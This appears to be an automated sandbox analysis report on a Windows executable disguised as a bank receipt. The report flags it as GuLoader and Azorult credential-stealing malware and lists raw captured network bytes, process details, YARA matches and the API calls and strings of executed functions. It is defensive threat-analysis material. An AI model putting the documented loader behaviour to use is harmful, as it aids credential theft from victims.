2024-11-04 15:52:34 UTC	1378	IN	Data Raw: ad 9b 50 21 ca 60 54 19 a9 8d 29 9b 71 d6 b7 ee 29 31 ab cb a3 0d c5 08 df 4f 82 7d ae 1d 0f 16 49 aa 28 ab 54 18 68 50 8d b3 ed d8 02 3e 83 12 2d dd e0 83 1f 72 87 e5 00 cc eb e5 4a e1 37 f2 d1 09 b9 eb 5d 92 e6 95 5f d0 87 71 44 bf de 91 c1 12 7b 96 88 df e0 fe da 92 aa c1 15 60 bc 85 aa 08 4c 10 e4 a6 c5 6a 77 da 54 85 ef 1f 50 e0 6c e7 e9 e0 0f 22 4f 5f 77 48 7b 60 21 20 70 9e d6 34 1b 2d 08 81 c2 1a 37 90 d7 93 c9 a8 82 1b cf 4b e4 42 aa aa e0 0b ac 47 9d e0 c0 30 46 6b 17 d8 88 01 bb a8 08 64 f7 c9 59 f9 d9 93 54 f4 e3 37 f7 3e c0 37 2a e5 a8 38 e1 6c 16 bf 4b 8d 53 44 04 57 e0 55 e8 a6 91 11 c8 30 54 1c c3 50 4b 20 14 71 f1 60 ab 1d d0 eb 2d c5 b0 a5 ef fd a6 d5 e5 74 6c 7c 23 7d 19 3f c1 9f 9b 36 f4 ef cd f9 cd 94 20 a7 6a 9d db 44 b4 f8 b5 3c 42 Data Ascii: P!`T)q)1O}I(ThP>-rJ7]_qD{`LjwTPl"O_wH{`! p4-7KBG0FkdYT7>7*8lKSDWU0TPK q`-tl\|#}?6 jD<B
2024-11-04 15:52:34 UTC	1378	IN	Data Raw: d6 4b 72 41 14 24 80 8f 44 75 4b e1 38 3f 51 98 b3 84 cb 84 47 ea 90 db 86 fe e7 86 cd cc b3 12 9b 8d 3e c5 de f2 44 57 dc c4 49 a2 a5 db b2 5d 8c 3d af c9 34 eb 93 ea a5 6f 0d 8a 25 98 20 7a ed 75 26 7e 4e 9f f2 d0 00 7d 9c f3 42 30 a6 23 0e 90 50 91 a3 7b 5d 47 b3 76 6f 7b 4d 3b 6c 87 1e a1 88 87 a8 72 d9 34 10 eb 53 aa de d7 f6 91 9e 6f 77 de 3a 88 a3 f4 89 8c 83 be d8 94 7f fd 27 04 cc 3c a0 46 8a 4c fd 32 2f 19 4a c5 c1 e0 dd da 9a ce 52 33 fe de 91 b5 15 74 7c d1 97 d4 d9 49 ab 72 18 49 09 09 7b e2 df a4 16 6e f0 51 64 fc 92 f8 53 70 3c de a8 f7 d9 20 d5 c1 0f 46 b1 f5 f6 72 81 d4 ab 0d 61 56 80 76 9a 1c 70 41 52 3e 14 74 ed 3f 59 2f 53 d4 b4 9f 8d 52 df ee 67 ef c1 d3 94 83 c8 ae 21 7f 27 77 5b 60 d8 19 b6 ec 26 d6 d1 b8 65 5b f4 4a 5e 34 b3 80 be Data Ascii: KrA$DuK8?QG>DWI]=4o% zu&~N}B0#P{]Gvo{M;lr4Sow:'<FL2/JR3t\|IrI{nQdSp< FraVvpAR>t?Y/SRg!'w[`&e[J^4
2024-11-04 15:52:34 UTC	1378	IN	Data Raw: db 28 67 cb 02 bf b6 f9 a1 97 13 7b e4 da 8f 4e c9 63 69 d4 82 fc d3 b5 07 97 3d 51 b2 14 36 77 15 ac 8e ae 7a b1 ec 25 c9 6a 9f 20 ee 0f de 65 e5 c8 1c e6 60 dd ce fb ec ee 9b 58 c8 22 d1 5b 45 87 24 16 e2 e5 94 d2 66 d6 4b 71 22 61 96 93 23 43 fd e2 6a 03 9f 57 6f c7 62 17 cf 06 02 de 95 86 24 58 54 8d cc 38 d2 db c3 7a 4c 5d e5 37 12 57 fb e0 0c aa 2b de 98 37 3d 32 12 fb e7 46 aa e7 ac 54 43 25 51 3e 7a ed 55 0f 40 0e e1 7d 07 83 34 98 af 97 78 a8 a6 c2 2c d1 4a d4 7f a9 74 73 d5 cf 40 49 33 d4 cd a4 aa fa 39 bf 49 d5 cc 10 fe 53 23 c5 d7 f6 35 18 16 78 ab 89 88 0a 3b c0 c1 b4 25 ce 5f 9a c4 1a 30 a8 e1 03 bd ab 10 d3 19 d1 d5 75 5c 08 32 b1 d6 43 d2 ad b9 be de 52 5c a3 65 7c 67 84 59 a3 da a9 7a aa ad db 85 3b 69 8a 76 45 60 ce 16 aa 22 b2 f9 9b f9 Data Ascii: (g{Nci=Q6wz%j e`X"[E$fKq"a#CjWob$XT8zL]7W+7=2FTC%Q>zU@}4x,Jts@I39IS#5x;%_0u\2CR\e\|gYz;ivE`"
2024-11-04 15:52:34 UTC	1378	IN	Data Raw: 95 ad 06 55 e7 30 5c 5a 25 2b e7 1e 12 83 92 2d ec c7 49 16 87 b6 fe c4 90 32 61 d5 5d ee 21 be cf 77 20 68 c6 d0 28 db a4 b9 53 0b 64 dc ac 6d d8 fc ca 88 5a ff 99 b0 74 86 92 f3 81 16 13 61 46 24 aa 53 03 10 03 85 1a 94 92 94 80 c0 99 08 06 c2 aa df 6c f9 19 70 b1 76 87 92 95 82 cf 93 94 42 6c 0e d5 4d 8f ec b8 71 25 ae 43 fe a1 78 a0 3a 52 d2 0d eb 32 ac 26 6c 8d ec 3e 9b b8 01 63 98 16 f8 da c6 56 7b 04 05 4b 83 e9 f6 9f 28 b3 a2 a2 f0 69 53 14 3c 94 68 12 dd 5c 95 9e f8 18 97 b3 85 c7 07 cc 57 e9 ed 90 e4 df 7a b9 f8 38 15 93 0a ca 40 6e 24 97 bb 8e f6 9d 08 20 f0 96 0f ef f2 1a 31 b0 11 da f2 6f 49 c1 bc b8 92 4a 82 99 b2 ab 92 c4 b4 d4 bb fc 90 67 f3 00 4c 2b a6 f1 ec 31 29 29 ce dc d3 38 71 87 e2 fb cc c3 4c 0b de c2 3a 2a f9 94 cc 10 28 5f 6d 60 Data Ascii: U0\Z%+-I2a]!w h(SdmZtaF$SlpvBlMq%Cx:R2&l>cV{K(iS<h\Wz8@n$ 1oIJgL+1))8qL:*(_m`
2024-11-04 15:52:34 UTC	1378	IN	Data Raw: 1e d2 28 d1 2c 32 c3 fe 05 01 36 3f a9 f7 09 82 64 e5 ee 8d 8a d4 0b 29 7f 59 cb 0d 05 be 2e a1 61 51 19 7a 6c 1e 92 96 c5 3d 28 f3 7b cb 88 e4 a4 dc ec 7f cb d7 ef fc 6c ee 6a dd a1 95 7a f5 67 ec 99 a0 c7 6b 41 6a 22 7d 83 b5 56 f0 05 72 63 9b e8 66 7e 93 3c 6d 4d 1f c8 ff dc 28 14 c2 32 cb 18 a3 11 c5 d5 2b a9 46 b1 d7 b1 7b 57 57 61 a7 91 c2 31 cd d6 23 ea 7b 37 8f fb b1 ad 96 22 7d f2 28 a4 b1 2a b4 9e d1 27 b3 03 eb 69 e6 2a 0d 44 21 67 97 89 a3 31 b8 49 87 4b d8 5b ff 04 4d 99 0b 1d 22 7d 03 f0 21 ec 3e 5a fd fd b7 53 88 9e af de 20 ce bf 17 ac 66 49 5c c9 2b 26 1e 3a a5 c8 97 0e 10 dd 10 ce ec ee d0 36 f0 9c 2e 90 3d 1e 25 16 82 e9 2c d0 b6 df 4b 66 f4 73 af 2d 80 83 d0 ff 2a eb 37 90 c0 d0 c0 c1 f0 b8 a1 ed c3 38 01 48 79 90 8c b3 99 1b 1e d2 a3 Data Ascii: (,26?d)Y.aQzl=({ljzgkAj"}Vrcf~<mM(2+F{WWa1#{7"}('iD!g1IK[M"}!>ZS fI\+&:6.=%,Kfs-*78Hy

Target ID:	0
Start time:	10:50:47
Start date:	04/11/2024
Path:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe"
Imagebase:	0x400000
File size:	656'515 bytes
MD5 hash:	1D14F171FD8A6A070150C81ABED8B966
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_3, Description: Yara detected GuLoader, Source: 00000000.00000002.2845765889.0000000000731000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2846544172.0000000003411000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:51:57
Start date:	04/11/2024
Path:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe"
Imagebase:	0x400000
File size:	656'515 bytes
MD5 hash:	1D14F171FD8A6A070150C81ABED8B966
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000000C.00000003.3291168363.0000000037FC4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000000C.00000003.3290459679.0000000037FB8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000000C.00000003.3291684607.0000000037FA4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000000C.00000003.3291660703.0000000037F90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.3291593606.00000000387F8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.3291614147.00000000387FC000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	22.4%
Dynamic/Decrypted Code Coverage:	13.7%
Signature Coverage:	17.3%
Total number of Nodes:	1571
Total number of Limit Nodes:	46

Executed Functions

Function 004034C5 Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034E8
GetVersion.KERNEL32 ref: 004034EE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403521
#17.COMCTL32(?,00000007,00000009,0000000B), ref: 0040355E
OleInitialize.OLE32(00000000), ref: 00403565
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 00403581
GetCommandLineW.KERNEL32(00433F00,NSIS Error,?,00000007,00000009,0000000B), ref: 00403596
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",00000020,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",00000000,?,00000007,00000009,0000000B), ref: 004035CE

Part of subcall function 00406806: GetModuleHandleA.KERNEL32(?,00000020,?,00403537,0000000B), ref: 00406818
Part of subcall function 00406806: GetProcAddress.KERNEL32(00000000,?), ref: 00406833

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 00403708
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000007,00000009,0000000B), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 00403725
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 00403739
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 00403741
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 00403752
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 0040375A
DeleteFileW.KERNELBASE(1033,?,00000007,00000009,0000000B), ref: 0040376E

Part of subcall function 00406411: lstrcpynW.KERNEL32(?,?,00000400,00403596,00433F00,NSIS Error,?,00000007,00000009,0000000B), ref: 0040641E

OleUninitialize.OLE32(00000007,?,00000007,00000009,0000000B), ref: 00403839
ExitProcess.KERNEL32 ref: 0040385A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 0040386D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 0040387C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 00403887
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 00403893
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 004038AF
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00436000,00000009,?,00000007,00000009,0000000B), ref: 00403909
CopyFileW.KERNEL32(C:\Users\user\Desktop\Dekont#400577_89008_96634.exe,0042AA28,?,?,00000007,00000009,0000000B), ref: 0040391D
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000,?,00000007,00000009,0000000B), ref: 0040394A
GetCurrentProcess.KERNEL32(00000028,0000000B,00000007,00000009,0000000B), ref: 00403979
OpenProcessToken.ADVAPI32(00000000), ref: 00403980
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403995
AdjustTokenPrivileges.ADVAPI32 ref: 004039B8
ExitWindowsEx.USER32(00000002,80040002), ref: 004039DD
ExitProcess.KERNEL32 ref: 00403A00

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004036FD, 00403702, 00403718, 00403724, 00403733, 00403740, 0040374C, 00403754, 0040386A, 0040387B, 00403886, 00403892, 0040389F, 004038AE, 0040395F
NSIS Error, xrefs: 00403587
TEMP, xrefs: 0040374D
C:\Users\user\Desktop, xrefs: 0040388C, 00403891, 004038BE
C:\Users\user\udstrmningsdysernes\eir\Speckly, xrefs: 004036EB, 0040380B, 004038B5, 004038BF
C:\Users\user\udstrmningsdysernes\eir\Speckly, xrefs: 00403816
"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe", xrefs: 0040359C, 004035A2, 00403796
TMP, xrefs: 00403755
\Temp, xrefs: 0040371F
C:\Users\user\Desktop\Dekont#400577_89008_96634.exe, xrefs: 00403918
~nsu, xrefs: 00403865
SeShutdownPrivilege, xrefs: 0040398F
Low, xrefs: 0040373B
Error launching installer, xrefs: 004037F0
UXTHEME, xrefs: 00403515, 0040351A, 00403520
.tmp, xrefs: 00403881
1033, xrefs: 00403769

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\Dekont#400577_89008_96634.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Dekont#400577_89008_96634.exe$C:\Users\user\udstrmningsdysernes\eir\Speckly$C:\Users\user\udstrmningsdysernes\eir\Speckly$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-3549397456
Opcode ID: 328609fffe7ac21a5c65c3985b48827762127d115727c2e02487c33ae415ffa8
Instruction ID: 633452ec6b1f102921f1489b21fe302f429ce1b90f1906ff0e0a9b5b291269fb
Opcode Fuzzy Hash: 328609fffe7ac21a5c65c3985b48827762127d115727c2e02487c33ae415ffa8
Instruction Fuzzy Hash: 7DD12671600311ABE7207F659D45B3B3AACEB8070AF11443FF581B62D1DBBD89518B6E

Function 6FDC1B5F Relevance: 20.1, APIs: 13, Instructions: 597stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6FDC121B: GlobalAlloc.KERNELBASE(00000040,?,6FDC123B,?,6FDC12DF,00000019,6FDC11BE,-000000A0), ref: 6FDC1225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 6FDC1C8D
lstrcpyW.KERNEL32(00000008,?), ref: 6FDC1CD5
lstrcpyW.KERNEL32(00000808,?), ref: 6FDC1CDF
GlobalFree.KERNEL32(00000000), ref: 6FDC1CF2
GlobalFree.KERNEL32(?), ref: 6FDC1DD4
GlobalFree.KERNEL32(?), ref: 6FDC1DD9
GlobalFree.KERNEL32(?), ref: 6FDC1DDE
GlobalFree.KERNEL32(00000000), ref: 6FDC1FC8
lstrcpyW.KERNEL32(?,?), ref: 6FDC2182
GetModuleHandleW.KERNEL32(00000008), ref: 6FDC2201
LoadLibraryW.KERNEL32(00000008), ref: 6FDC2212
GetProcAddress.KERNEL32(?,?), ref: 6FDC226C
lstrlenW.KERNEL32(00000808), ref: 6FDC2286

Memory Dump Source

Source File: 00000000.00000002.2899769603.000000006FDC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FDC0000, based on PE: true

Associated: 00000000.00000002.2899739950.000000006FDC0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899844324.000000006FDC4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899878629.000000006FDC6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fdc0000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: dd8bbc732a3f34e9063b443088fc5ea9eb3e3620941b28e103000dffd76e4df5
Instruction ID: 6e740590ceaa5e286d19690a6fe4f58f55709a6b9f5ab1bd81b33e94b842f267
Opcode Fuzzy Hash: dd8bbc732a3f34e9063b443088fc5ea9eb3e3620941b28e103000dffd76e4df5
Instruction Fuzzy Hash: 32229C75D4432ADADB90CFB8C9806EDB7B8FF0631AF20462AD1A5E7180D7707681DB52

Function 00405B23 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405B4C
lstrcatW.KERNEL32(bismers\Phytotomist54.off,\*.*,bismers\Phytotomist54.off,?,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405B94
lstrcatW.KERNEL32(?,0040A014,?,bismers\Phytotomist54.off,?,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405BB7
lstrlenW.KERNEL32(?,?,0040A014,?,bismers\Phytotomist54.off,?,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405BBD
FindFirstFileW.KERNELBASE(bismers\Phytotomist54.off,?,?,?,0040A014,?,bismers\Phytotomist54.off,?,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405BCD
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C6D
FindClose.KERNEL32(00000000), ref: 00405C7C

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B30
\*.*, xrefs: 00405B8E
"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe", xrefs: 00405B23
bismers\Phytotomist54.off, xrefs: 00405B7C, 00405B82, 00405B93, 00405BCC

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Dekont#400577_89008_96634.exe"$C:\Users\user\AppData\Local\Temp\$\*.*$bismers\Phytotomist54.off
API String ID: 2035342205-3003010704
Opcode ID: d511c024af8fdc6ff868d432ce58507b2a66eda6578bf5e7436de137c1c2de65
Instruction ID: 64ad53015563eb9bad7c636b6f780160dd5a6986b89d0419f795064a900c36f2
Opcode Fuzzy Hash: d511c024af8fdc6ff868d432ce58507b2a66eda6578bf5e7436de137c1c2de65
Instruction Fuzzy Hash: 8941B330804B18AAEB21AB658D89AAF7778EF41714F24417FF802B11D1D77C5E81DE6E

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: fbb483b0c38b2c52992a6a5b7edafa52747ff059505c006a33bc3772956b04e9
Instruction ID: 0f37489a7ff55aa34ce709233052591c61f0789b3923deb1f93634f017c8c928
Opcode Fuzzy Hash: fbb483b0c38b2c52992a6a5b7edafa52747ff059505c006a33bc3772956b04e9
Instruction Fuzzy Hash: E821AD7195420AAEEF05AFB4D94AAEE7BB0EF44304F10453EF601B61D1D7B84941CB98

Function 0040676F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,004302B8,bismers\Phytotomist54.off,00405E37,bismers\Phytotomist54.off,bismers\Phytotomist54.off,00000000,bismers\Phytotomist54.off,bismers\Phytotomist54.off, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405B43,?,76233420,C:\Users\user\AppData\Local\Temp\), ref: 0040677A
FindClose.KERNEL32(00000000), ref: 00406786

Strings

bismers\Phytotomist54.off, xrefs: 0040676F

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: bismers\Phytotomist54.off
API String ID: 2295610775-3037600859
Opcode ID: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
Instruction ID: c6bcef3f8635fd9f58624a192a3d19c105278d067f6c5fe4f3eb3d2c281a06a9
Opcode Fuzzy Hash: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
Instruction Fuzzy Hash: F0D012315242206FC3805B386E0C84B7A989F16335B218B36B4AAF21E0D7349C3287BC

Function 004021A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085F0,?,?,004085E0,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402221

Strings

C:\Users\user\udstrmningsdysernes\eir\Speckly, xrefs: 00402261

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\udstrmningsdysernes\eir\Speckly
API String ID: 542301482-3054700521
